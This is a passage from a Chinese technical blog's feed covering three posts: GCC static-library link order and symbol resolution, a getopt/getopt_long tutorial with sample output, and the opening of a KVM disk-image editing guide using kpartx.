&lt;pre&gt;&lt;code&gt;图6 f.o符号表
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第四步和第五步分别是对e.o和d.o文件进行匹配，未发现和集合U中匹配的符号。&lt;&#x2F;p&gt;
&lt;p&gt;第六步，将集合U和c.o文件进行匹配，发现c.o中定义的符号function_c和c_1匹配的上，因此将c.o加入集合E，function_c和c_1从集合U转移到集合D中。与此同时，c.o文件中也包含了未解释符号function_e, d_1和f_1。由于f_1已经在集合D中，所以忽略。将未解释符号function_e, d_1加入集合U。该步骤完成后，集合E，U和D的内容详见表1 c.o列。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-lib-order&#x2F;co-object-symbol-table.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;图7 c.o文件符号表
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第七步，将集合U和b.o文件进行匹配，发现b.o中定义的符号b_1匹配的上，因此将b.o加入集合E，b_1从集合U转移到集合D中。b.o中没有未解释符号。该步骤完成后，集合E，U和D的内容详见表1 b.o列。&lt;&#x2F;p&gt;
&lt;p&gt;经过第一轮匹配后，集合U中有两个符号，然后进行第二轮匹配。第二轮匹配首先从g.o开始，g.o未匹配上。然由于f.o已经加入到集合E中，直接跳过，开始匹配e.o。&lt;&#x2F;p&gt;
&lt;p&gt;第八步，将集合U和e.o文件进行匹配，发现e.o中定义的符号function_e匹配的上，因此将e.o加入集合E。function_e和e_1添加到集合D中。e.o中存在未定义符号f_1和g_1，其中f_1已经在集合D中，但g_1未在。因此将g_1添加到集合U中。&lt;&#x2F;p&gt;
&lt;p&gt;第九步，将集合U和d.o文件进行匹配，发现d.o中定义的符号d_1匹配的上,因此将d.o加入集合E中，d_1从集合U中转移到集合D中。d.o中没有未解释符号。该步骤完成后，集合E，U和D的内容详见表1 d.o列。&lt;&#x2F;p&gt;
&lt;p&gt;第十步，由于c.o和b.o都已加入集合E中，因此跳过。开始第三轮检索。将集合U和g.o文件进行匹配，g.o中定义的符号g_1匹配的上。因此将g_1添加到集合E中。将g_1从集合U转移到集合D中。&lt;&#x2F;p&gt;
&lt;p&gt;第十一步，检索完第三遍，所有可重定位文件都添加进来，检索结束。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 「表1 链接器添加目标文件步骤」，演示静态库链接顺序：链接器用三个集合跟踪进度——E（已加入目标文件）、U（未定义符号）、D（已定义符号）。第一轮按 a.o→g.o→f.o→e.o→d.o→c.o 处理，库成员 g.o 首次扫描无可满足符号被跳过（记为...），此后 U 含 b_1、function_e、d_1；第二轮按 b.o→g.o→e.o→d.o→g.o 处理，b.o&#x2F;e.o&#x2F;d.o 依次加入并解析符号，再扫到 g.o 补上 g_1，最终 U 为 NULL（全部解析）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;通过上述的分析，可以得到链接器添加可重定位目标文件的顺序为：a.o à f.o à c.o à b.o àe.o àd.o à g.o。通过map文件可知，链接顺序是一致的，见图8.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;gcc-static-lib-order&#x2F;gcc-map-file-link-order.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;图8 Map文件中的链接顺序
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;5. 总结&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;通过对链接过程中添加目标文件的过程分析，能够了解为什么GCC在链接时对依赖库的顺序是敏感的，为什么被依赖的目标文件和库必须放在后面，为什么代码升级后，链接顺序可能会变化。链接器正是通过本文介绍的方法自动确定文件顺序。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;6. 附录&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;a.c：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int a_1=5;
extern int b_1;
extern int c_1;
extern int f_1;
extern void function_c(void);
int main()
{
function_c();
    a_1=c_1+f_1+b_1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;b.c:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int b_1=10;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;c.c:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int c_1;
extern int d_1;
extern int f_1;
extern function_e(void);
void function_c(void)
{
function_e();
    c_1=d_1+f_1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;d.c:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int d_1=20;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;e.c:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int e_1;
extern int f_1;
extern int g_1;
void function_e(void)
{
    e_1=f_1+g_1;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;f.c:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;int f_1=10;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;g.c:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;int g_1=20;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;build.sh:&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc -c a.c
gcc -c b.c
gcc -c c.c
gcc -c d.c
gcc -c e.c
gcc -c f.c
gcc -c g.c
ar rs lib.a g.o f.o e.o d.o c.o b.o
gcc -o test.exe a.o -static -L. lib.a -Wl,-Map,test.Map
readelf -a a.o&amp;gt;a.txt
readelf -a test.exe&amp;gt;test.txt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参考文献（References）：&lt;&#x2F;p&gt;
&lt;p&gt;[1] 俞甲子, 石帆. 程序员的自我修养——链接、装载与库[M]. 电子工业出版社, 2009. 38-52&lt;&#x2F;p&gt;
&lt;p&gt;[2] 兰德尔, E, 布莱恩特. 深入理解计算机系统[M]. 机械工业出版社, 2016. 477-478&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>命令行选项解析函数(C语言)：getopt()和getopt_long() - 肖邦linux - 博客园</title>
        <published>2024-01-09T00:00:00+00:00</published>
        <updated>2024-01-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/命令行选项解析函数-c语言-getopt-和getopt_long-肖邦linux-博客园/"/>
        <id>https://vercel.juzhong.asia/obsidian/命令行选项解析函数-c语言-getopt-和getopt_long-肖邦linux-博客园/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/命令行选项解析函数-c语言-getopt-和getopt_long-肖邦linux-博客园/">&lt;h1 id=&quot;ming-ling-xing-xuan-xiang-jie-xi-han-shu-cyu-yan-getopt-he-getopt-long-xiao-bang-linux-bo-ke-yuan&quot;&gt;命令行选项解析函数(C语言)：getopt()和getopt_long() - 肖邦linux - 博客园&lt;&#x2F;h1&gt;
&lt;p&gt;原文链接：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;liwei0526vip&#x2F;p&#x2F;4873111.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;liwei0526vip&#x2F;p&#x2F;4873111.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上午在看源码项目 webbench 时，刚开始就被一个似乎挺陌生函数 getopt_long() 给卡住了，说实话这函数没怎么见过，自然不知道这哥们是干什么的。于是乎百度了一番，原来是处理命令行选项参数的，的确，正规点的大型程序一般第一步就是处理命令行参数的，接着才是主干程序。在百度和 man 的帮助下，找到了具体使用方法和解释，二话不说赶紧学习一下，并总结出文档记录一下。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;平时在写程序时常常需要对命令行参数进行处理，因为参数少，自己解析就可以搞定；如果命令行个数比较多时，如果按照顺序一个一个定义参数含义很容易造成混乱，而且如果程序只按顺序处理参数的话，一些“可选参数”的功能将很难实现，这个问题在 linux 中用 getopt 等函数可以优雅地解决。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;yi-cha-xun-linuxming-ling-shou-ce&quot;&gt;&lt;strong&gt;一、查询linux命令手册：&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;unistd.h&amp;gt;
#include&amp;lt;getopt.h&amp;gt;          &amp;#x2F;*所在头文件 *&amp;#x2F;
int getopt(intargc, char * const argv[], const char *optstring);
int getopt_long(int argc, char * const argv[], const char *optstring,
                          const struct option *longopts, int*longindex);
int getopt_long_only(int argc, char * const argv[],const char *optstring,
                          const struct option *longopts, int*longindex);
extern char *optarg;         &amp;#x2F;*系统声明的全局变量 *&amp;#x2F;
extern int optind, opterr, optopt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;先拿最简单的 getopt 函数开刀，getopt_long 只是前者的增强版，功能多点而已。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;er-getopthan-shu&quot;&gt;&lt;strong&gt;二、getopt函数&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;1、定义&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int getopt(int argc, char * const argv[], const char *optstring);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2、描述&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;getopt是用来解析命令行选项参数的，但是只能解析短选项: -d 100,不能解析长选项：--prefix
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3、参数&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;argc：main()函数传递过来的参数的个数
argv：main()函数传递过来的参数的字符串指针数组
optstring：选项字符串，告知 getopt()可以处理哪个选项以及哪个选项需要参数
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4、返回&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;p&gt;如果选项成功找到，返回选项字母；如果所有命令行选项都解析完毕，返回 -1；如果遇到选项字符不在 optstring 中，返回字符 &#x27;?&#x27;；如果遇到丢失参数，那么返回值依赖于 optstring 中第一个字符，如果第一个字符是 &#x27;:&#x27; 则返回&#x27;:&#x27;，否则返回&#x27;?&#x27;并提示出错误信息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;5、下边重点举例说明optstring的格式意义：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;char*optstring = “ab:c::”;
单个字符a         表示选项a没有参数            格式：-a即可，不加参数
单字符加冒号b:     表示选项b有且必须加参数      格式：-b 100或-b100,但-b=100错
单字符加2冒号c::   表示选项c可以有，也可以无     格式：-c200，其它格式错误
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面这个 optstring 在传入之后，getopt 函数将依次检查命令行是否指定了 -a， -b， -c(这需要多次调用 getopt 函数，直到其返回-1)，当检查到上面某一个参数被指定时，函数会返回被指定的参数名称(即该字母)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;optarg —— 指向当前选项参数(如果有)的指针。
optind —— 再次调用 getopt() 时的下一个 argv指针的索引。
optopt —— 最后一个未知选项。
opterr ­—— 如果不希望getopt()打印出错信息，则只要将全域变量opterr设为0即可。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以上描述的并不生动，下边结合实例来理解：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;6、实例：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;
#include&amp;lt;unistd.h&amp;gt;
#include&amp;lt;getopt.h&amp;gt;
int main(intargc, char *argv[])
{
    int opt;
    char *string = &amp;quot;a::b:c:d&amp;quot;;
    while ((opt = getopt(argc, argv, string))!= -1)
    {
        printf(&amp;quot;opt = %c\t\t&amp;quot;, opt);
        printf(&amp;quot;optarg = %s\t\t&amp;quot;,optarg);
        printf(&amp;quot;optind = %d\t\t&amp;quot;,optind);
        printf(&amp;quot;argv[optind] = %s\n&amp;quot;,argv[optind]);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;编译上述程序并执行结果：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;输入选项及参数正确的情况&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;opt -a100 -b 200 -c 300 -d
opt = a         optarg = 100            optind = 2              argv[optind] = -b
opt = b         optarg = 200            optind = 4              argv[optind] = -c
opt = c         optarg = 300            optind = 6              argv[optind] = -d
opt = d         optarg = (null)         optind = 7              argv[optind] = (null)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;或者这样的选项格式(注意区别)：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;opt -a100 -b200 -c300 -d
opt = a         optarg = 100            optind = 2              argv[optind] = -b200
opt = b         optarg = 200            optind = 3              argv[optind] = -c300
opt = c         optarg = 300            optind = 4              argv[optind] = -d
opt = d         optarg = (null)         optind = 5              argv[optind] = (null)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;选项a是可选参数，这里不带参数也是正确的&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;opt -a -b 200 -c 300 -d
opt = a         optarg = (null)         optind = 2              argv[optind] = -b
opt = b         optarg = 200            optind = 4              argv[optind] = -c
opt = c         optarg = 300            optind = 6              argv[optind] = -d
opt = d         optarg = (null)         optind = 7              argv[optind] = (null)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;输入选项参数错误的情况&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;opt -a 100 -b 200 -c 300 -d
opt = a         optarg = (null)         optind = 2              argv[optind] = 100
opt = b         optarg = 200            optind = 5              argv[optind] = -c
opt = c         optarg = 300            optind = 7              argv[optind] = -d
opt = d         optarg = (null)         optind = 8              argv[optind] = (null)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;导致解析错误，第一个 optarg = null，实际输入参数 100，由于格式不正确造成的(可选参数格式固定)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;参数丢失，也会导致错误，c选项是必须有参数的，不加参数提示错误如下：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;opt -a -b 200 -c
opt = a         optarg = (null)         optind = 2              argv[optind] = -b
opt = b         optarg = 200            optind = 4              argv[optind] = -c
.&amp;#x2F;opt: optionrequires an argument -- &amp;#x27;c&amp;#x27;
opt = ?         optarg = (null)         optind = 5              argv[optind] = (null)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种情况，optstring 中第一个字母不是&#x27;:&#x27;，如果在 optstring 中第一个字母加&#x27;:&#x27;，则最后丢失参数的那个选项 opt 返回的是&#x27;:&#x27;，不是&#x27;?&#x27;，并且没有提示错误信息，这里不再列出。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;命令行选项未定义，-e选项未在optstring中定义，会报错：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;opt -a -b 200 -e
opt = a         optarg = (null)         optind = 2              argv[optind] = -b
opt = b         optarg = 200             optind = 4              argv[optind] = -e
.&amp;#x2F;opt: invalidoption -- &amp;#x27;e&amp;#x27;
opt = ?         optarg = (null)         optind = 5              argv[optind] = (null)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;到这里应该已经把getopt函数的功能讲解清楚了吧，下边来说说 getopt_long 函数，getopt_long 函数包含了 getopt 函数的功能，并且还可以指定&quot;长参数&quot;(或者说长选项)，与 getopt 函数对比，getopt_long 比其多了两个参数：&lt;&#x2F;p&gt;
&lt;h3 id=&quot;san-getopt-longhan-shu&quot;&gt;&lt;strong&gt;三、getopt_long函数&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;1、定义&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int getopt_long(int argc, char * const argv[], const char *optstring,

                                 const struct option *longopts,int *longindex);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2、描述&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;包含 getopt 功能，增加了解析长选项的功能如：--prefix --help
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3、参数&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;longopts    指明了长参数的名称和属性
longindex   如果longindex非空，它指向的变量将记录当前找到参数符合longopts里的第几个元素的描述，即是longopts的下标值
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4、返回&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;对于短选项，返回值同getopt函数；对于长选项，如果flag是NULL，返回val，否则返回0；对于错误情况返回值同getopt函数
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;5、struct option
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;struct option {
const char  *name;       &amp;#x2F;* 参数名称 *&amp;#x2F;
int          has_arg;    &amp;#x2F;* 指明是否带有参数 *&amp;#x2F;
int          *flag;      &amp;#x2F;* flag=NULL时,返回value;不为空时,*flag=val,返回0 *&amp;#x2F;
int          val;        &amp;#x2F;* 用于指定函数找到选项的返回值或flag非空时指定*flag的值 *&amp;#x2F;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;6、参数说明：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;has_arg  指明是否带参数值，其数值可选：
no_argument         表明长选项不带参数，如：--name, --help
required_argument  表明长选项必须带参数，如：--prefix &amp;#x2F;root或 --prefix=&amp;#x2F;root
optional_argument  表明长选项的参数是可选的，如：--help或 –prefix=&amp;#x2F;root，其它都是错误
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;接着看一下实例操作会更加深刻地理解：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;7、实例：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main(intargc, char *argv[])
{
    int opt;
    int digit_optind = 0;
    int option_index = 0;
    char *string = &amp;quot;a::b:c:d&amp;quot;;
    static struct option long_options[] =
    {
        {&amp;quot;reqarg&amp;quot;, required_argument,NULL, &amp;#x27;r&amp;#x27;},
        {&amp;quot;optarg&amp;quot;, optional_argument,NULL, &amp;#x27;o&amp;#x27;},
        {&amp;quot;noarg&amp;quot;,  no_argument,         NULL,&amp;#x27;n&amp;#x27;},
        {NULL,     0,                      NULL, 0},
    };
    while((opt =getopt_long_only(argc,argv,string,long_options,&amp;amp;option_index))!= -1)
    {
        printf(&amp;quot;opt = %c\t\t&amp;quot;, opt);
        printf(&amp;quot;optarg = %s\t\t&amp;quot;,optarg);
        printf(&amp;quot;optind = %d\t\t&amp;quot;,optind);
        printf(&amp;quot;argv[optind] =%s\t\t&amp;quot;, argv[optind]);
        printf(&amp;quot;option_index = %d\n&amp;quot;,option_index);
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译上述程序并执行结果：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;正确输入长选项的情况&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;long --reqarg 100 --optarg=200 --noarg
opt = r optarg =100     optind = 3   argv[optind] = --optarg=200  option_index = 0
opt = o optarg =200     optind = 4   argv[optind] = --noarg        option_index = 1
opt = n optarg =(null) optind = 5    argv[optind] =(null)          option_index = 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;或者这种方式：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;long –reqarg=100 --optarg=200 --noarg
opt = r optarg =100     optind = 2   argv[optind] = --optarg=200  option_index = 0
opt = o optarg =200     optind = 3   argv[optind] = --noarg        option_index = 1
opt = n optarg =(null) optind = 4    argv[optind] =(null)          option_index = 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;可选选项可以不给参数&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;long --reqarg 100 --optarg --noarg
opt = r optarg =100     optind = 3     argv[optind] = --optarg option_index = 0
opt = o optarg =(null) optind = 4      argv[optind] =--noarg   option_index = 1
opt = n optarg =(null) optind = 5      argv[optind] =(null)     option_index = 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;输入长选项错误的情况&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;long --reqarg 100 --optarg 200 --noarg
opt = r optarg =100     optind = 3     argv[optind] = --optarg  option_index= 0
opt = o optarg =(null) optind = 4      argv[optind] =200        option_index = 1
opt = n optarg =(null) optind = 6      argv[optind] =(null)     option_index = 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时，虽然没有报错，但是第二项中 optarg 参数没有正确解析出来(格式应该是 —optarg=200)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;必须指定参数的选项，如果不给参数，同样解析错误如下：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dzlab:~&amp;#x2F;test&amp;#x2F;test#.&amp;#x2F;long --reqarg --optarg=200 --noarg
opt = r optarg =--optarg=200  optind = 3 argv[optind] =--noarg  option_index = 0
opt = n optarg =(null)         optind = 4 argv[optind] =(null)    option_index = 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;长选项的举例说明暂且就这么多吧，其它如选项错误、缺参数、格式不正确的情况自己再试验一下。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;si-getopt-long-onlyhan-shu&quot;&gt;&lt;strong&gt;四、getopt_long_only函数&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;getopt_long_only 函数与 getopt_long 函数使用相同的参数表，在功能上基本一致，只是 getopt_long 只将 --name 当作长参数，但 getopt_long_only 会将 --name 和 -name 两种选项都当作长参数来匹配。getopt_long_only 如果选项 -name 不能在 longopts 中匹配，但能匹配一个短选项，它就会解析为短选项。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>KVM虚拟机磁盘镜像修改指南（libguestfs）</title>
        <published>2024-01-08T00:00:00+00:00</published>
        <updated>2024-01-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/kvm虚拟机磁盘镜像修改指南-libguestfs/"/>
        <id>https://vercel.juzhong.asia/obsidian/kvm虚拟机磁盘镜像修改指南-libguestfs/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/kvm虚拟机磁盘镜像修改指南-libguestfs/">&lt;h1 id=&quot;kvmxu-ni-ji-ci-pan-jing-xiang-xiu-gai-zhi-nan-libguestfs&quot;&gt;KVM虚拟机磁盘镜像修改指南（libguestfs）&lt;&#x2F;h1&gt;
&lt;p&gt;在维护kvm虚拟机时候，有时候需要修改vm内部文件系统内容，此时需要访问虚拟机磁盘镜像。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文是对虚拟机镜像修改的一个实践，涉及&lt;code&gt;NBD&lt;&#x2F;code&gt;、&lt;code&gt;libguestfs&lt;&#x2F;code&gt;等开源工具。通过翻译加实践，了解KVM虚拟机磁盘resize的原理和实现，有助于我们理解虚拟化磁盘的底层原理。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;rhel-centos-5xu-ni-ji-jing-xiang-fang-wen&quot;&gt;RHEL&#x2F;CentOS 5虚拟机镜像访问&lt;&#x2F;h2&gt;
&lt;p&gt;有多种方式可以访问虚拟机磁盘镜像，在RHEL 常用的方法是使用&lt;code&gt;kpartx&lt;&#x2F;code&gt;工具，将虚拟机文件系统作为一个loop设备，这样就可以在物理服务器上访问。&lt;code&gt;kpartx&lt;&#x2F;code&gt;可以从分区表撞见磁盘设备映像，每个虚拟机存储映像有一个分区表和这个文件相关。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;yum install kpartx
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;警告&lt;&#x2F;code&gt;：在物理服务器上修改虚拟机磁盘，一定要在虚拟机offline状态下才可以操作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;RHEL&#x2F;CentOS 6和7以后，请不要使用&lt;&#x2F;strong&gt;**&lt;code&gt;kpartx&lt;&#x2F;code&gt;** &lt;strong&gt;，改为使用&lt;&#x2F;strong&gt;**&lt;code&gt;guestfish&lt;&#x2F;code&gt;**&lt;strong&gt;工具&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;使用&lt;code&gt;kpartx&lt;&#x2F;code&gt;列出分区设备映射到基于存储镜像的文件，以下案例使用的映像文件是&lt;code&gt;guest1.img&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;kpartx -l &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;libvirt&amp;#x2F;images&amp;#x2F;guest1.img
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;显示输出是&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;loop0p1 : 0 409600 &amp;#x2F;dev&amp;#x2F;loop0 63
loop0p2 : 0 10064717 &amp;#x2F;dev&amp;#x2F;loop0 409663
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
